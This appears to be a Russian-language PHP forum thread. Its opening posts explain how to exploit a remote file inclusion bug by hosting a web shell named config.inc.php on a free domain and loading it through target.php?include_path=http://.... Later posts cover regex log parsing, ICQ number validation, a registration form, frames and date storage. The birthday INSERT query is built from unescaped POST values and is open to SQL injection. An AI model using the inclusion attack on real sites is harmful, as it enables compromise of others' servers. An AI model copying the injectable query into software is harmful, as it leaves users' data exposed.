Привет, в php скрипте, есть сл. код: PHP: require_once $include_path."/include/config.inc.php"; Переменная "$include_path", никак не проверяется, т.е. я могу выполнить следующее: target.php?include_path=http://somehost.ru при условии, что на somehost.ru, есть "/include/config.inc.php". Насколько я понял, подобная уязвимость описывается тут, но мне не совсем понятно, что нужно делать =/ Вопрос: что с этим делать дальше? Как можно залить шел?
Для начала тебе надо было задавать вопрос тут http://forum.antichat.ru/thread46016.html Да ты прав бага есть и юзать ты можешь так как ты и сказал =) Ну а как шелл залить надеюсь догадаешься...
Насчет register_globals I-I()/Ib по идее правильно сказал, но есть куча функций, которые глобализируют переменную, это неплохо описал гемаглобин, а при хорошем раскладе (т.е. ты можешь в реквест пользовать эту переменную) ты можешь сделать следующее зарегить на народе доменчик какой нить, ну например shell-dla-includa.narod.ru создать там папку /include/ и в эту папку записать шелл и назвать его config.inc.php далее через эту багу его подключить....target.php?include_path=http://shell-dla-includa.narod.ru
ет народ.. позно уже голова не варит.... Помогите собрать регулярное выражение Регулярка на айпи, дату, запрос П.С. Мне просто надо чтоб он(скрипт) выводил всьо ето красиво и табличках(логи)
Dimi4, ну мну делалбы без регулярок... Токо это мну! А ты как хош Просто explode по пробелам... PHP: <? $s = '192.168.101.215 - - [12/Nov/2007:18:28:32 +0300] "GET / HTTP/1.1" 200 4570'; $s = explode(' ',$s); echo "IP: {$s[0]}<br> Date: {$s[3]} {$s[4]}<br> Query: {$s[5]} {$s[6]} {$s[7]}"; ?> Хотя да... Криво получается... Но т.к. я регулярки незнаю, удачи
PHP: <?php $line = '192.168.101.215 - - [12/Nov/2007:18:28:32 +0300] "GET / HTTP/1.1" 200 4570'; if (!preg_match('/(.*) - - \[(.*)\] "(.*)" [\d]+ [\d]+/ius', $line, $match)) return false; print("<pre>"); printf("IP Address: %s\n", $match[1]); printf("Date: %s\n", $match[2]); printf("Query: %s\n", $match[3]); print("</pre>"); ?>
http://ru.php.net/manual/ru/ref.pcre.php http://ru.php.net/manual/ru/reference.pcre.pattern.syntax.php http://ru.php.net/manual/ru/reference.pcre.pattern.modifiers.php
Я лично после того поста решил их тож выучить, и нащёл отличный мануал http://phpclub.ru/detail/article/regexp_1 Рекомендую имено его
Блин, прям в тему попал. Тоже с регулярами беда, почитал мануалы, но чё-то всё равно не получается....с проверкой логина, и мыла разобрался, но с цифрами не могу чёт никак. Значит есть некая форма куда вводится номер icq, далее в обработчике проверка на то чтобы в номере содержались только цифры от 0 до 9 и знак дефиса - В любом случае выводит что номер введён неверно... Непоминаю что не так
PHP: <?php $icq = "123-123"; $icq = str_replace("-", "", $icq); if (!preg_match("/^[1-9][0-9]{5,9}$/", $icq)) die("Гы-гы!"); ?>
у меня проблема с занесением даты в таблицу бд вот форма даты: блин код не нажимается, буду просто писать <td> <div align="center"><b>Ваш день рождения:</b></td> </div> <td> <div align="center"> <select name=birthdayDay> <option value="<?php echo $_POST['birthdayDay']?>"> <?php echo $_REQUEST['birthdayDay']?> <? for ($i=1; $i<32; $i++){ echo "<option value=\"$i\">$i</option>"; } ?> </select> <select name=birthdayMonth> <option value="<?php echo $_POST['birthdayMonth']?>"><?php echo $_POST['birthdayMonth']?> <option value="1">Январь <option value="2">Февраль <option value="3">Март <option value="4">Апрель <option value="5">Май <option value="6">Июнь <option value="7">Июль <option value="8">Август <option value="9">Сентябрь <option value="10">Октябрь <option value="11">Ноябрь <option value="12">Декабрь </select> <select name=birthdayYear> <option value="<?php echo $_POST['birthdayYear']?>"><?php echo $_POST['birthdayYear']?> <? for ($i=1950; $i<2002; $i++){ echo "<option value=\"$i\">$i</option>"; } ?> </div> </select> </td> после нажития регистрация переходит на страничку в которой обрабатываю запрос $birthday=$_POST["birthdayYear"]."-".$_POST["birthdayMonth"]."-".$_POST["birthdayDay"]; и добавляю в бд $sql = "INSERT INTO users_reg (birthday) VALUES ('$birthday' )"; $result = mysql_query($sql) or die ("Ошибка");; mysql_close($db_name);
<form action=***> это есть, просто я не написал этого суда и все и дата то заносится то не заносится в таблице поставил тип у birthday DATA хз...непонятно,Э то заносит то нет в большенстве случаев пишет 0000-00-00
и еще не могу разобраться с фрэймами, разделил окно на две части, в одной половине ссылка, нужно чтобы при нажатии на нее открывалось страница на весь экран, а не в этом фрэйме в котором была кнопка=( подскажите
если надо в новом окне, то как показал Бульчег, если в том же, то: <a href=http://ya.ru target="_parent">ya</a> Я с датами в таком виде не работал, но и тебе не советовал бы. Рекомендую делать так: PHP: $date=mktime(date("H"),date("i"),date("s"),date("m"),date("d"),date("Y")); // текущая дата // в переменную date заносится количество секунд после чего-то там (непомню чего, да и неважно) в БД делаешь поле типа int и заносишь переменную туда. А когда досташь из базы эту дату, делаешь такое преобразование: PHP: echo date("d.m.Y",$value_from_DB); //ну и как понимаешь, формат d.m.Y делаешь как тебе надо Еще тут фишка - удобно сраванивать даты, т.к. дата - это количество секунд с чего-то там. Получается, что ты просто сравниваешь целые числа. Если есть вопросы, почитай документацию к функциям: date() , mktime()